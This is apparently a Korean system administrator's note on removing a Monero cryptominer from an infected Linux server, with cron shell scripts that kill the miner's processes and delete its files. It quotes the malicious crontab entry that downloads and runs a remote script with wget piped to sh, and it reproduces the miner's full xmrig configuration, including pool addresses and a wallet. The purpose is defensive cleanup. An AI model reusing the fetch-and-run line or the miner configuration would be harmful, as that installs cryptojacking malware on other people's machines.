0. crontab에 등록되어 있는 문장을 삭제한다.

 - * * * * * wget -q http://192.99.142.232:8220/logo4.jpg -O - | sh

0-1. top을 해서 cpu나 메모리를 100%이상 사용하는 프로세스를 찾아 지워준다

 ( "jps -ef | grep 프로세스ID"로 찾아서 반복적으로 지우는 shell프로그램을 만들어 crontab에 등록시켜준다.)

 (예, 

  root@gsda4:/root# ps -ef | grep 19544

  root     19544     1 99 22:05 ?        00:41:51 /tmp/java -c /tmp/w.conf

  root     23204 18301  0 22:16 pts/0    00:00:00 grep 19544

 )

1. shell프로그램을 만들어서 755권한을 부여한후 crontab에 등록해서 특정 문자열이 들어 있는 프로세스를 죽이고 관련 폴더/파일을 삭제한다.

2. /var/tmp/config.json 이 있으면 지워준다.

root@gsda4:/var/tmp# vi config.json 
{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.133.20:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.142.249:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.193.110:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}

3. /tmp 폴더 정리

  -  ???.conf 류의 파일 삭제

  - /tmp/java 삭제

  - /tmp/conf 삭제

-> crontab -e

* * * * * /suppoie.sh

* * * * * /tmpconf.sh

* * * * * /crypto.sh

1.suppoie.sh

#!/bin/sh

Log=/home/suppoie.log

DATE=`date +%Y%m%d-%H%M%S`

Cnt=`ps -ef|grep "suppoie"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "suppoie"|grep -v grep|awk '{print $2}'`

if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : suppoie server (PID : $PROCESS) has killed." >> $Log

   rm /var/tmp/config.json

   rm /var/tmp/suppoie

fi

2. tmpconf.sh

#!/bin/sh

Log=/home/tmpconf.log

DATE=`date +%Y%m%d-%H%M%S`

Cnt=`ps -ef|grep "tmp/java"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "tmp/java"|grep -v grep|awk '{print $2}'`

if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : tmpconf server (PID : $PROCESS) has killed." >> $Log

fi

3. crypto.sh

#!/bin/sh

Log=/home/crypto.log

DATE=`date +%Y%m%d-%H%M%S`

Cnt=`ps -ef|grep "crypto"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "crypto"|grep -v grep|awk '{print $2}'`

if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : crypto server (PID : $PROCESS) has killed." >> $Log

fi